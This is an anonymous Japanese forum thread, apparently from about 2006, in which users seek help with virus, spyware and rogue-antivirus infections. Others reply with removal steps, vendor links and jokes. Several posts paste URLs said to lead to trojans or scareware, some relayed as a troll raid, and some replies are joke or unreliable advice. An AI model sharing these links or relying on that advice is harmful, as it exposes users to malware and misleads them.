【WindowsUpdateしてるか】
自動更新
【AntiVirusは何を使っているか】
Norton AntiVirus
【ちゃんとUpdateしてるか】
してる
【スキャンした結果（ウイルス名・発見場所）】
%System%\oleext.dll
%System%\System32\oleext32.dll (このファイルは Trojan.Alemod として検出されました)
%System%\intell321.exe
%Windir%\warnhp.html
%UserProfile%\Application Data\Microsoft\Internet Explorer\Desktop.htt
%Windir%\uninstDsk.exe
【別のオンラインスキャンしたならその結果は】
していません・・・・
【症状を具体的に、分かる限りすべて書く】
右下に英語でスパイウェアに感染してますって出る。
それもだけどもっとウザイのはノートンの警告
【何をしたらそんなことになったのか】
なんかたくさんDLしてた。動画とか。フリーソフトとか。
【これまでにとった措置】
スパイウェアかな？って思ってて３つくらいかな？
フリーのをDLして、検出されなかった。
【その他の質問】
ぼくはなにかいけないことをしたんですか＞＜

くまー

ネトゲのIDやPWを盗むウィルスってネトゲのサイトや、ネトゲにログインさえしなければ盗まれる事はないの？

そんなのネトゲの仕様（ID等のデータをPC上に残すか）とウイルスしだいだろ

すんません教えて下さい

svchost.exeにウィルスが感染してしまい、
手動で削除するしかない状況ですが
プロセスを終了させると自動的にまたプロセスが開始したり
シャットダウンが始まってしまったりで
全然対処のしようがありません。

セーフモードで起動する？とか、なんかやり方が
あるのでしょうか。ウイルスバスターのHPに書いてある
やり方だと上記のような理由で最初の一歩でこけてしまっています。

だれかヘルプー（泣

なんてウイルスに感染したかぐらいは書かないとな、
どうせwinnyでもやってたんだろ？

>87
svchost.exeだけではnyと決め付けるには早いと思うので、

>86
感染ファイルのフルパスは？

>svchost.exeにウィルスが感染してしまい、
>手動で削除するしかない状況ですが
>プロセスを終了させると自動的にまたプロセスが開始したり
昔、Winnyで流通していたウイルスでこれと同じ動作のヤツが
あった気がするんだが。

>89
shellsystem.exeとかあるけど、これとはまた別ですよね。

別

c:\windows\system32\drivers\etc\svchost.exe
（↑パス名一部間違えてるかも）これもantinnyとか？

>>86
　　/￣￣￣ / 　/''７ ./''７　　　　　　　　/￣/　 /''７
　./ ./￣/　/　　/__/ /　/ 　＿＿＿_　　 ￣　　/　/
　'ー'　_/　/ 　 ＿__ノ　/　 /＿_＿＿/ 　 ＿__ノ　/
　　　/___ノ 　 /＿___,.／　　　　　　　　 /＿___,.／

　　　_ノ￣/　/￣/　 /''７　/￣￣￣/　　　/￣/　　　　　　　　　　　 　/'''７'''７
/￣　　／　　 ￣　　/　/ 　 ￣ ﾌ　./　　　/　　ﾞー-; 　 ＿＿＿_　　　/　/　/.＿
￣/　/　　 　 ＿__ノ　/　 　__／　 (___　　/　 /ｰ--'ﾞ　/＿_＿＿/　_ノ　/i　 i/ ./
　/__/　　　/＿___,.／　　 /___,.ノゝ＿/　/＿/　　　　　　　　　　　/__,／　ゝ､__/

お尋ねしても宜しいでしょうか。

【使用OS】 Windows XP SP2
【WindowsUpdateしてるか】 自動更新ですが、念のため週に1〜2回手動で確認しています。
【AntiVirusは何を使っているか】 WinAntiVirus PRO 2006
【ちゃんとUpdateしてるか】 はい、ちゃんと最新の状態に更新しています。
【スキャンした結果（ウイルス名・発見場所）】 発見できない。
【別のオンラインスキャンしたならその結果は】 シマンテックやバスターのオンラインスキャンでは、WinAntiVirus PRO 2006を検出
【症状を具体的に、分かる限りすべて書く】 WinAntiVirus PRO 2006を入れてから動作が悪くなった。
【何をしたらそんなことになったのか】 貴方のパソコンは「ブラックウォーム」に感染される恐れがある。
セキュリティセンターは貴方のパソコンに「セキュリティミッス」を検出しました。現在使っているアンチウィルスでは
情報の流出を防ぐ事ができないと言われた。
【これまでにとった措置】 怖くなってノートン2006を削除してWinAntiVirus PRO 2006をインストール
【その他の質問】 WinAntiVirus PRO 2006が世界最強のセキュリティソフトと聞いたので、クレカで購入しました。

くま〜

コピペだしなー

ネットサーフィンしていたら、突然　↓　飛び出してきて、

http://amaena.com/securityworm5/jp/?aid=n180_jp_ja&lid=int&h=&b=0

即座に出てきた画面を閉じたのですが、
画面であなたのパソコンはブラックウオームというウイルスに
やられる可能性があるのですぐにこれをダウンロードしてという
のが出てきたのです。

この詳細知っている人いますか？

ダーツに興味ある人はいませんか？
初心者、上級者一切問いません。ダーツを愛する方ならどなたでも結構です。

実はあるダーツ店のマスターが客が来なくてとても困っているようです。


　　↓↓↓　詳細はこちら　↓↓↓
http://sports9.2ch.net/test/read.cgi/bullseye/1111230059/431-452


できればこのマスターに励ましの言葉をお願いします。
また、もしこの店の近くにお住まいの方はお店の方にも行ってあげてください。
困ったときはお互い様です。ダーツを愛するもの同士助け合いましょう！

>>97
書き込む前に少しは調べようよ＾＾

WinAntiVirus Pro 2006
http://pc8.2ch.net/test/read.cgi/sec/1143972325/

ウィルスバスターで、無線LANパトロールをやったんです。
そしたら、信頼済みでないコンピュータ/機器がネットワークに接続
されていますと出て、かなりの件数の違ったIPアドレスが表示された
のですが、これはなんでしょうか。
よろしくお願いします。

>>100
すれ違いが、IP調べてみれば？
実際にアクセスしてきてるのが
ﾓﾃﾞﾑ、ﾙｰﾀ、接続機器orPC、他人
自分が「信頼済み」登録しないと
出るから
勿論、他人からの不法アクセスは
ブロックするべきですが

×すれ違いが
○ｽﾚ違いっぽいが

ねぇねぇｱﾒﾘｶって公式ｻｲﾄでも危険なの？

ﾋﾞﾙﾎﾞｰﾄﾞのｱﾙﾊﾞﾑﾁｬｰﾄ見たら
ｳｨﾙｽに感染しました
WinAntiVirus Pro 2006のﾀﾞｳﾝﾛｰﾄﾞを推奨しますだって
商業的な公式ｻｲﾄなのにさぁひどくねぇ？
日本でいろいろ公式ｻｲﾄ回ったけど
ｳｨﾙｽの感染なんか心配すらしたことなかったのに
自社ｻｲﾄの安全管理すらできないってどうなの？

大丈夫ｱﾒﾘｶ？
ｾｷｭﾘﾃｨｰｿﾌﾄ販売のための戦略じゃないよね？

tp://www.geocities.com/keisatu_sousa_shinjitu/index.htm
このサイトをふんだんですが、ウィルスのようで
housecallというウィルスに感染しました。
ﾉｰﾄﾝで検索かけてもヒットしません。
対処法を教えていただけませんか？

どうやって感染したって分かったの？

>>104
開いてすぐに、何か沢山窓が開いて
作業が行われていたような状態でした。
個人情報をネットにアップロードするような
ウィルスだったら怖いので・・
他ｽﾚで質問したところウィルス有害との鑑定も出ました。

>>104
タダのブラクラだよ、心配しないでおｋ。

　　＼　　　　　　　　　　　　　　　　 ,ィ":::::::::::::::::::;;;;;:ii>;,、　　.../私をあまり怒らせないほうがいいぞ
　　　　　　　　　＼　　　　　　　　　　　　　　　/:::::::::::::::;;;;;;;;iii彡" :ﾔi､
　　　　　　　　　　 ＼.　　　　　　　　　　　　　i::::::::::::;:"~￣　　 　 ::i||li　∧__T _ ,,,r -r-T‐-、
　　　　　　　　　　　　＼　　　 　　　 　　 　 　|:::::::::j'_,.ィ^' ‐､　_,,. ::iii》"~。r　*o:*::f:::r:::..l.　|
　　　::::::::::::::　　　　　　 ＼ 　　　__,-,,-、　 ___|:::i´｀ 　`‐-‐"^{" ｀ﾘ" ::::::::*o;;;rｏ　ot _f_ヽ丿
　　　::::::::┃二＼　　　　　_＼__/| | l |ヾ-"~　　ヾ;Y　　　　　,.,li｀~~i,,..-v--'''''''"V"~~ ┴
　　　:::::::┃.　＼＼　　l⌒l二|-l ..uUU""l----' ''｀i、 　 ･=-_､,　.:/::::::::::::::::|
　　　:::::::┃-=-`9|、　 "~　...| ヽ 　l￣”／::::　__.、_|ヽ　　　 ''　 :/´:::::::::::::::|
　　::::::::::┃ヽ _　ヽ　　　　 　| 　|　　／　..,-" //|　;; 　　:::: 　;; l l ｀ ;　 :::::::|
　　:::::::::::┃i".ヾ,　|　　 　　 ..|　/　　|　　/　;; | |　l　　　;;;;　　_//　　`;; 、::|
　　　::::::::┃||"　／l___ 　　 　| /　　 |　/　　l; | | 　 "〜-""~ //　　　　 `,
　　　::::_／|＼:~／|　|　　　.　|/　　　|/-　　 /|.|　　　　　　　//　 ;;　;;　　　`,
　　　　|　　|_　　,,,,|　 |　　　../　　　. |　　＼　| |____　　　　_//　　;　 l|　　　　`,
　　　　|　　|　""　　　 |　　 /　　　;' .|　　/"/ｏ　　"" " " o＼　　";.|:::::::::　　l_　
　　　　|　　 |　　　　　 l　... /　　　;;　|;;;;;". l/::::::::::::::::::::::::::::::::::`l　:::::: ｌ::::: _ - ".l
　　　 .|　　　|　　　　　　|　 |　　　.;;　l　 ／ ::::::::::::::::::::::::::::::::::::::: `ｌ　:::l／　 　 ;;` ;　
　　　　|　　　|　　　　　　|　.`l　　　　"_ノ"＼ ::::::::::::::::::::::::::::::::::::::::::|　/　`;;　　 ;;; l

OS:WindowsXP
ｱﾝﾁｳｲﾙｽｿﾌﾄ:なし
回線･ﾌﾟﾛﾊﾞｲﾀﾞ:Bﾌﾚｯﾂ･BIGLOBE

一年ぶりにﾈｯﾄ環境に復帰した初日にやられました。急に重くなり、
'C:\windows\system32\lsass.exe'は状態ｺｰﾄﾞ1073741819で中断････
というﾒｯｾｰｼﾞが出てｶｳﾝﾄﾀﾞｳﾝ後ｼｬｯﾄﾀﾞｳﾝされるようになりました
ｵﾝﾗｲﾝでｽｷｬﾝするとｳｲﾙｽ名はBloodhound,Exploit.6というもので
発見場所は2つ、どちらもLive2chのﾌｧｲﾙでしたので、Live2chは
すぐに削除しました。その後ｽｷｬﾝすると検出ｳｨﾙｽはなしでしたが、
ｼｬｯﾄﾀﾞｳﾝは止まらず、『ﾌｧｲﾙ名を指定して実行』でshutdown ｰaと
入力すると一時的にはおさまりますが、再起動するとまた出てしまいます。
またWindowsをupdateしようとするとｴﾗｰ:0x800A0007となりできません
どうしたら良いでしょうか？

>>109
　　/￣￣￣ / 　/''７ ./''７　　　　　　　　/￣/　 /''７
　./ ./￣/　/　　/__/ /　/ 　＿＿＿_　　 ￣　　/　/
　'ー'　_/　/ 　 ＿__ノ　/　 /＿_＿＿/ 　 ＿__ノ　/
　　　/___ノ 　 /＿___,.／　　　　　　　　 /＿___,.／

　　　_ノ￣/　/￣/　 /''７　/￣￣￣/　　　/￣/　　　　　　　　　　　 　/'''７'''７
/￣　　／　　 ￣　　/　/ 　 ￣ ﾌ　./　　　/　　ﾞー-; 　 ＿＿＿_　　　/　/　/.＿
￣/　/　　 　 ＿__ノ　/　 　__／　 (___　　/　 /ｰ--'ﾞ　/＿_＿＿/　_ノ　/i　 i/ ./
　/__/　　　/＿___,.／　　 /___,.ノゝ＿/　/＿/　　　　　　　　　　　/__,／　ゝ､__/

>>110
やっぱりその方法しかないですか･･･orz
ありがとうございました。

>>109
うそつくな
lsassが落ちるとカウントダウンなどせずに即再起動
RPCとは違うんだ

どうでもいいけどノートンでもいいからいれとけ

そうだそうだ

http://harada2006.hp.infoseek.co.jp/P-DES.html

【使用OS】Windows XP Home
【WindowsUpdateしてるか】yes
【AntiVirusは何を使っているか】ウイルスバスター　2006
【ちゃんとUpdateしてるか】yes
【スキャンした結果（ウイルス名・発見場所）】TROJ_ABWIZ.AY　TROJ_DLOADER.ASP　TROJ_DLOADER.ASO
C:\DOCUME~1\ちょめちょめ\LOCALS~1\Temp\5.dlb　　6.dlb　　7.dlb
【別のオンラインスキャンしたならその結果は】隔離、削除
【症状を具体的に、分かる限りすべて書く】再起動すると復活。タスクマネージャが開かない。
ttp://xazsa.ath.cx/up/src/xazsa0656.jpg　こんなのが出る。
【何をしたらそんなことになったのか】
ゲームでVBを切ったまま、ニュー速+のどこか貼ってあったエロ小説の"続きはここ"に騙された。
兄と妹というシチュエーションだっただけに、うっかり。
【これまでにとった措置】バスタ公式に削除だけで済むと書いてあるが、復活する。
【その他の質問】助けてください。

で、その「兄と妹のエロ小説」はどんなものなんだ？

>>116
ttp://esupport.trendmicro.co.jp/supportjp/viewxml.do?ContentID=jp-29113
ttp://esupport.trendmicro.co.jp/supportjp/viewxml.do?ContentID=jp-22186
この辺じゃない？

Zone Labsのオンラインスパイウェアスキャンを行なったところ、

AlexaToolbar - Browser Plugin

RegistryKey - HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\
Extensions\{C95FE080-8F5D-11D2-A20B-00AA003C157A}\
RegistryKey - HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\
Extensions\CmdMapping\{C95FE080-8F5D-11D2-A20B-00AA003C157A}

のように検出されたのですが、これはどういった類のスパイウェアだと思われますか？
また、これの除去はだたキーを削除するだけではいけないのでしょうか？

>>119
ttp://clubjs.tsukaeru.jp/cgi/win/cf.cgi?mode=al2&namber=8119&rev=&no=0

ありがとうございます。どうにか検出されなくなりました。
しかしどこで感染したかなー。

>>118
ありがとうございます。
でもその辺は色々と試しましたが改善されませんでした。

右下のマークにYour computer is infectedと表示されます。
ただの騙しスパイウェアだとは思いますが、googleで検索しても変な所に飛ばされたりします。
似たような物はいくつか見つかるんですが同名の物の対処法が全く見つかりません。

>>122
ttp://www.higaitaisaku.com/fakewarning.html
ダメ?

最近PCが不調っぽいので調べたら感染してたようです
【使用OS】 Win2k SP4
【WindowsUpdateしてるか】 してますよ。
【AntiVirusは何を使っているか】 WinFixer 2005
【ちゃんとUpdateしてるか】 もちろん。
【スキャンした結果（ウイルス名・発見場所）】 spyware-cookie
【別のオンラインスキャンしたならその結果は】 c:\program files\winfixerフォルダ内から多数
【症状を具体的に、分かる限りすべて書く】 winfixerというセキュリティソフトを入れてからPCが不調に
【何をしたらそんなことになったのか】 「エラーが見つかった」レジストリやシステムの有り得るエラーで
ご利用のパソコンは機能が悪くなってブロックになる。というメッセージが出てきた。
【これまでにとった措置】 パソコンが壊れるのはどうしても避けなければならず、NOD32を消してWinFixer 2005を入れた
【その他の質問】 オンラインスキャンでWinFixerが検出されるのは誤検出ですか？

>>124
笑わせないでくれよ。

>>124
二番煎じって知ってる？

>>124
リアルだったらｶﾜｲｿｽ

【AntiVirusは何を使っているか】 WinFixer 2005

すごいうけたｗ
うそだろうけど＞＜；

>>127
レスが無いところを考えるとウソだろ。

いつからパクリのネタスレになったんだよ、ここは

ワーム名でGoogle等の検索をかけても、情報がほとんど出て来ません。
対処方法をご存知の方がいらっしゃいましたら、
教えていただけないでしょうか。

【使用OS】Windows2000 SP4
【WindowsUpdateしてるか】している
【AntiVirusは何を使っているか】AVG FLEE Edition 7.1.392
【ちゃんとUpdateしてるか】している
【スキャンした結果（ウイルス名・発見場所）】
ワーム名：Kelvir.JN と Kelvir.IQ
検出されたファイルは、C:\WINNT\eraseme_******.exe
（*****の所には数字が入ります）

【別のオンラインスキャンしたならその結果は】
トレンドマイクロ・オンラインスキャンを実行した所、未検出でした。
(eraseme_*****.exeは削除済で実行)

【症状を具体的に、分かる限りすべて書く】
kelvirの亜種のようですが、AVGで検出出来て削除しても再び検出される事から、
レジストリに書き込まれている可能性があります。

【何をしたらそんなことになったのか】
特に記憶になし。メッセンジャーでurlをクリックしてはいません。

【これまでにとった措置】
AVGの機能で対処。

トロイが検知されて削除されました。
スキャンしたら何も検出されませんでした。
この状態は感染してないってことですか？
他にしておくべきことはなんですか？

【使用OS】 Windows XP
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】 McAfee
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】 何も検出されず
【別のオンラインスキャンしたならその結果は】 してない
【症状を具体的に、分かる限りすべて書く】 何もなし
【何をしたらそんなことになったのか】 ネットサーフィン
【これまでにとった措置】ウイルス スキャン
【その他の質問】

だいじぶだと思うよ。
どうしても心配なら他のオンラインスキャンでためしてみ

>>133
ありがとうございます。
これで安心して眠れます。
おやすみなさい。

眠れないのでオンラインスキャンしてみたら
メモリ上でウイルスは見つかりませんでしたと出ましたが
12個のウイルスが検出されたみたいです。
Bloodhound.Exploit.6というウイルスらしいのですが
感染ファイルは全部Live2chのファイルでした。
どうしたらいいんでしょうか？
ちなみにシマンテックでスキャンしました。

それならだいじぶ
放置でおｋ

>>136
ファイルを削除するなどもする必要はないのですね。
迅速な回答ありがとうございました。

詰まらないと思うけど…
【使用OS】 Win98SE
【WindowsUpdateしてるか】 Sir,No Sir!
【AntiVirusは何を使っているか】 マカフィー（最初から入っていた）
【ちゃんとUpdateしてるか】 Sir,No Sir!
【スキャンした結果（ウイルス名・発見場所）】 検出なし
【別のオンラインスキャンしたならその結果は】 バスターのオンラインスキャンで
VBS_REDLOF.Aが、c:\windows\system\kernel.dll,folder.htt,など、約7000個。
【症状を具体的に、分かる限りすべて書く】 動作が遅くて、時々ブルースクリーンが出る。
壁紙が「ウイルスに感染してるよ」みたいな文に変更された。
【何をしたらそんなことになったのか】 ネットサーフィン
【これまでにとった措置】 トレンドマイクロのシステムクリーナーを使用
【その他の質問】 リカバリしたら負けかなと思ってる。

何がしたいんだお前は

>>138
ネタだとしてもつまらなすぎる

まじめにお伺いしますがウィルスって誰が作ってるの？

作りたい人が作ってるし、手に入れることが出来るサイトもある

まあ捕まえてみたら、高校生ぐらいの人だったとか普通にあるから
遊び半分自慢したい人とかがほとんどじゃない？

>132さんと同じような症状です。
トロイの木馬が検知され削除しました。

【使用OS】WindowsXP
【WindowsUpdateしてるか】はい
【AntiVirusは何を使っているか】 McAfee
【ちゃんとUpdateしてるか】 いいえ
【スキャンした結果（ウイルス名・発見場所）】 無し
【別のオンラインスキャンしたならその結果は】 シマンテックでスキャンした所、3つ検出されました。
1.C:\WINDOWS\Downloaded Program Files\Install.dllはSpywareStormerに感染しています
2.2chログ内の*****.datはUnix.Penguinに感染しています
3.2chログ内のsubject.txtはBloodhound.Exploit.6に感染しています。
【症状を具体的に、分かる限りすべて書く】 何もなし
【何をしたらそんなことになったのか】 インターネット
【これまでにとった措置】ウイルススキャン
【その他の質問】Bloodhound.Exploit.6は放置しても良いと上記で見ました。
Unix.PenguinもOSがWindowsなら問題ないとどこかのサイトで見ましたが、放置して良いのでしょうか？
またDownloaded Program Filesフォルダ内にInstall.dllは見当たりません。
どう対処すれば良いのでしょうか？

>>144
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-spywarestormer.html
ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1448098
変なプログラム入ってない？

>145
レスありがとうございます

大分昔の話ですが、SpywareStormerのサイトでスキャンをし、
課金しないとどうの…となって止めた覚えがあります。
その後SpywareStormerをインストールしてしまったのか、
またアンインストールをしたのか全く記憶にありませんorz

プログラムの追加と削除にはありませんし、「Spyware」で
ファイルの検索をしましたが何もヒットしませんでした。
とりあえずHijackThisというソフトウェアをダウンロードして
教えて頂いたサイトの手順通りに実行してみようと思います。

>140
やはりあの2つには勝てませんね。

>144
C:\WINDOWS\Downloaded Program Files\desktop.ini
CLSIDの頭に;（セミコロン）を付けて上書き保存
もう一度C:\WINDOWS\Downloaded Program Files\を開く
Install.dllが見えるようになるので削除
終わったらC:\WINDOWS\Downloaded Program Files\desktop.ini
CLSIDの頭に付けた;（セミコロン）を消して上書き保存
もしくはコマンドプロンプトを使って削除

そんなぁ・・・

【使用OS】　XP pro
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】 norton
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】 検出されず
【別のオンラインスキャンしたならその結果は】 していない
【症状を具体的に、分かる限りすべて書く】 特に何も　山田の派生と聞いてちょっとビクビクして
【何をしたらそんなことになったのか】 ブラウザJaneでこの二つを踏みました
tp://www.uploda.org/uporg392643.jpg
tp://up2.viploader.net/pic/src/viploader162057.jpg
【これまでにとった措置】 スキャン→検出されず
【その他の質問】 とりあえずクリックしたらいっぱいフレームが出てきそうだったので
なんとなく閉じてキャッシュもすぐに消しました。放置していたらまずいんでしょうか?

ブラクラと同じようなウイルスだから気にしないでイイよ
WinBombていうウイルス。イチイチ馬鹿に釣られるなよ

すばやい御返答ありがとうございます。
よく聞く名前のものですね。

【使用OS】 winxp pro sp2

【WindowsUpdateしてるか】 してます

【AntiVirusは何を使っているか】 Norton Anti Virus

【ちゃんとUpdateしてるか】 してます

【スキャンした結果（ウイルス名・発見場所）】 なにもない

【別のオンラインスキャンしたならその結果は】 pandasoftware,kaspersky,viruschaserでいずれも
なにも検出されず。

【症状を具体的に、分かる限りすべて書く】 symantecのオンラインスキャンにアクセスできない。
trendmicro.co.jpに全くアクセスできない。etrustのオンラインスキャンができない。
Norton Anti Virusのliveupdateのファイルが破損してると一度だけ警告してきたが、
二度目試したら、正しく完了。

【何をしたらそんなことになったのか】 ？

【これまでにとった措置】 hostsファイルを見たところ、なにも変更がされていない。クッキーと
temporaryファイルをすべて削除してみたが、全く変わりが見られない。
Nortonを無効にして、Avastを試したところ、なにも検出されなかった。
netstatを見てみたが、これも異常な接続は見られない。

【その他の質問】 おわかりの方、よろしくお願いします。

>>152
hostsを書き換えられてアンチウイルスのサイトに
繋がらなくなる可能性があるけどそうじゃないんでしょ？
他のブラウザではどうなんでしょうか？
オペラやファイヤーフォックスなど。

>>153
USBのフラッシュメモリをPCに挿して、portable firefoxを使ってサイトを見てみましたが、
結果は同じく、表示されませんでした。
hostsは書き換えられてないようです・・・

>147
ありがとうございます！

なぜかDownloaded Program Filesフォルダ内にdesktop.iniが無かったので
コマンドプロンプトからinstall.dllを削除しました。
再度オンラインスキャンをかけた所、Bloodhound.Exploit.6とUnix.Penguinだけが
検出されたのでとりあえず一段落…かな？

>>155
>なぜかDownloaded Program Filesフォルダ内にdesktop.iniが無かったので

Explorerからは見えないからファイル名を指定して実行にそう入れるんだよ

>155
特にPCの動作に影響が無ければ一段落です。
＞Bloodhound.Exploit.6とUnix.Penguin
これは2chログ内のコードに反応しているだけで
全く問題ないので放置してよろしいかと。

>156
ああっ、そういうことだったんですね。
無知ですみません…orz

>157
度々ありがとうございます。
2chブラウザ(Jane)を消しちゃおうかとも思ったのですが
PCは正常に動作していますので放置しておきます。

ご親切にレス頂き、ありがとうございました！

RecoveryBinってウィルスですよね？

すいません。
もしわかる方がいたら教えていただきたいのですが、
リンク先がかならずGoogleにつながってしまうのですが、
これはウィルスが原因なのでしょうか。
もし対処方を知ってる方がいたら教えていただけますでしょうか。

http://www.msn.co.jp/home.armx
これ踏んでもぐーぐる？

http://up2.viploader.net/mini/src/viploader37692.lzh.html

に「Uploader-AA」というウイルスがあるらしいのですが
どうやって削除すればいいんでしょうか?ノートンじゃ反応してくれません…

VIPから突撃依頼が出たのできました

>>162
しね

VIPから来ました
http://ex14.2ch.net/test/read.cgi/news4vip/1148079615/177-178

177 名前：以下、名無しにかわりましてVIPがお送りします[] 投稿日：2006/05/20(土) 10:27:48.49 ID:pJ+jduf90
>>176
http://pc8.2ch.net/test/read.cgi/sec/1146625920/162

178 名前：以下、名無しにかわりましてVIPがお送りします[] 投稿日：2006/05/20(土) 10:33:34.29 ID:jFMlslsg0
勇気が無くて見られない画像解説スレ　Part795
http://etc3.2ch.net/test/read.cgi/entrance/1148034144/93

>>93
Uploader-AA　と言うトロイを検出
PC有害だってさ。踏まなかった俺は勝ち組。山田先生やトロイ入りのチートツールで鍛えられたからな。

氏ね

VIPから来ました
http://ex14.2ch.net/test/read.cgi/news4vip/1148079615/177-178

177 名前：以下、名無しにかわりましてVIPがお送りします[] 投稿日：2006/05/20(土) 10:27:48.49 ID:pJ+jduf90
>>176
http://pc8.2ch.net/test/read.cgi/sec/1146625920/162

178 名前：以下、名無しにかわりましてVIPがお送りします[] 投稿日：2006/05/20(土) 10:33:34.29 ID:jFMlslsg0
勇気が無くて見られない画像解説スレ　Part795
http://etc3.2ch.net/test/read.cgi/entrance/1148034144/93

>>93
Uploader-AA　と言うトロイを検出
PC有害だってさ。踏まなかった俺は勝ち組。山田先生やトロイ入りのチートツールで鍛えられたからな。

俺も>>162踏んじゃったんだけど
駆除するにはどうすれば？

>>168
Regseekerを使う

OS再インスト

>>168
デフラグをしてみる

>>168
ウィルス繁殖専用ＰＣとして大切に培養する

のーとんで検出したけど削除できないウイルスはどうやって始末しますか？
ダウンロードトレジャン？とかいう奴なんですが

>>173
馬のアンチユーザですが、ﾞエラーサーチﾞなるウィルスが出ました、OSはXPのSP1です 見るとﾞシステムとレジストに深刻な被害を生ずる…ﾞと有るんですが、マイソの悪意あるを調べましたが出てませんがこれは？

>>174 追伸、馬はマカ不意の事で、マイソフの悪意あるウィルスも調べましたが該当なしでした。

[email protected]

こちらのメルアドにメールを送るとエラーが出てちゃんと送れません
何が原因なのでしょうか？

ネタ質フォー！
【使用OS】 WindowsXP SP2 （ブラウザ:IE6 SP2）
【WindowsUpdateしてるか】 Sir,Yes Sir!
【AntiVirusは何を使っているか】 WinAntiVirus PRO 2006/WinFixer 2006/ErrorSafe
【ちゃんとUpdateしてるか】 Sir,Yes Sir!
【スキャンした結果（ウイルス名・発見場所）】 いくつか見つかるけど誤検出w
【別のオンラインスキャンしたならその結果は】 Trojan-ZlobとかAd-Wareとかのマルウェアが
「WinAntiVirus PRO 2006/WinFixer 2006/ErrorSafe」等から多数検出、
【症状を具体的に、分かる限りすべて書く】 BSOD連発。PCの処理に時間がかかる。CPUが100%から解放されない。
起動時間も10分を超えた。広告のポップアップも数倍に増幅。等々
【何をしたらそんなことになったのか】 PCの起動時間を現在の3分40秒から1分以内に短縮したくて、
F-Secureインターネットセキュリティ2006を削除→上記の『セキュリティ"対策"ソフト』を購入→インストール
【これまでにとった措置】 カード会社に連絡→クレジットカード番号の変更、
禁断のテンプレを通常モードとセーフモード（Administrator権限）で実行したが失敗に終わった。
【その他の質問】 こんな典型的なインチキソフトをインストールしてしまうなんて、
ボクは…騙されてしまったのでしょうか？

すいませんおしえて下さい。
数日前から急にNorton Internet SecurityとNorton Anti Virusをoffにしてたら
「セキュリティ警告」ってのがポップアップ広告みたいに出るようになってしまいました、
消しても消しても出てきます。これどうやったら出ないようにできますか？

ウイルスに感染したようです
起動してデスクトップの画面になるとビジー状態という表示がでてフリーズします。
それと蝿とゴキブリの画像がデスクトップ上で動くんです。
どうしたらいいでしょうか?

突然、画面が下に下にスクロールするようになりました。
どのアプリを使っていてもなるのです。
これはウイルスの仕業でしょうか？？？
もしウイルスなら駆除の方法を教えてください。
こうやって書き込み文を書いていても下にスクロールしていく･･･・。

>>1-180
諦めましょう。このスレの住人に期待するだけ無駄です。

>>178
onにする
>>179
ｼﾞｮｰｸｿﾌﾄ、ｳｨﾙｽでぐぐる
>>180
ｵﾝﾗｲﾝｽｷｬﾝしてみる
>>181
気休めです

>>181
少なくともお前には期待してないから問題なし

182さんコメントありがとうございました。
オンラインスキャンでなにも反応なしでした・・。
ってことはウイルスじゃないんだろうか・・・。鬱

>>184
ん〜、じゃあ
ｷｰﾎﾞｰﾄﾞのｽﾍﾟｰｽｷｰの不具合を疑ってみる

>>１６１

ありがとうございます。
それは大丈夫みたいです。
おそらく海外のあるサイトだけみたいです。

↓キーの不具合も疑ってみる

じゃあおれはPageDownキーで

Tabキー
Endキー
＿＿
| 2　|
|↓　|　キー
￣￣

特になんのファイルも保存してないのに
仕様ドライブ領域が少しずつ増えていってるのですが
やっぱりウィルスなんですか？

>>190
検索→「ﾌｧｲﾙやﾌｫﾙﾀﾞ」→「詳細設定」→「日付」で確認

>>190
>ウィルスなんですか？
ウィルススキャンしろ

>190
どう言ったらいいのか、これってシステムの復元ポイントが作成されてることに
何か関係があるんじゃ。

【使用OS】 windows XP
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】未購入です。検討する為に各社のオンラインスキャンを実行中にノートン版で検出
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス名・発見場所）】 Bloodhound.Exploit.6
VBS.Internal 両方ともIEのテンポラリーファイルの中からです。
【別のオンラインスキャンしたならその結果は】 ウイルスバスターオンライン版では検出せず
【症状を具体的に、分かる限りすべて書く】 特に現状では把握できない範囲です。
【何をしたらそんなことになったのか】 わかりません。
【これまでにとった措置】 ノートンNIS２００６の体験版をダウンロードしました。が、アップロードした上でスキャンしても検出しません。再びオンラインスキャンすると検出されます。
【その他の質問】 ノートンのサポートを利用したいのですが、購入しないとサポートサービスが受けられないようです。
体験版では検出できないので、このまま購入するべきか迷っています。

>>194
http://pc8.2ch.net/test/read.cgi/sec/1146946279/864

なんだマルチか

申し訳ないです。
あっちは質問した後になってスレ違いのような気がしたので、
こちらに質問し直しました。

なんかイランの核がどうたらいうSPAMが来て、試しにリンク
押してみたらEXPL_TXTRANGE.Aとか出てきた。なんだろこれ。

あるexeファイルを開いてしまい不当請求されています
その際にウィルスやらなにやら潜り込ませているかも知れないと言われました
確認するにはどうしたら良いのでしょうか？お願いします。

>>198
ゼロデイ攻撃
つttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=EXPL_TXTRANGE.A

>>199
ｽｷｬﾝ

>>199
あるexeって・・・
助けてほしいが自分から情報は一切出さないって事？

どなたか助けてください。
マルチになってしまった件は大変申し訳なかったです。

体験版では検出すらできなかったのですが、
サポートに電話しても、購入しないかぎりサポート情報は出せませんと言われました。
検出すら出来ない体験版
購入したら検出できるのか？と
その辺聞きたかったけど、無料はサポートできないの一点張りでした。
性能的に、オンラインスキャン＝購入版＞体験版ってことなのでしょうか？

>>202
ごめんなさい
あるアダルトサイトでなんですけどアドレス貼ったほうが良いでしょうか？
ちなみに今スキャンしてみるとVBS.LoveLetter.AとWScript.KakWormというのがが引っかかりました。

続けてごめんなさい
上の二つのウィルスはメールから感染するものなんでしょうか

>>203
Temporary Internet Files(一時ファイル)からしか出てないなら問題ない。
IE ツール→インターネットオプション→インターネット一時ファイル、ファイルの削除
で出てこなくなる

しかもそれって多分、２ちゃんのウイルスコードに反応したものだからノーﾄﾝの誤検出かと・・・
ノートントラップでググルとよく解る。よってわざわざ買う必要無し。

もうマルチは止めた方がいいぽ

>>206
レス大変感謝致します。
マルチは本当にすいませんでした。以後は書き込む前に十分気をつけます。

Temporary Internet Filesのことなのですが、
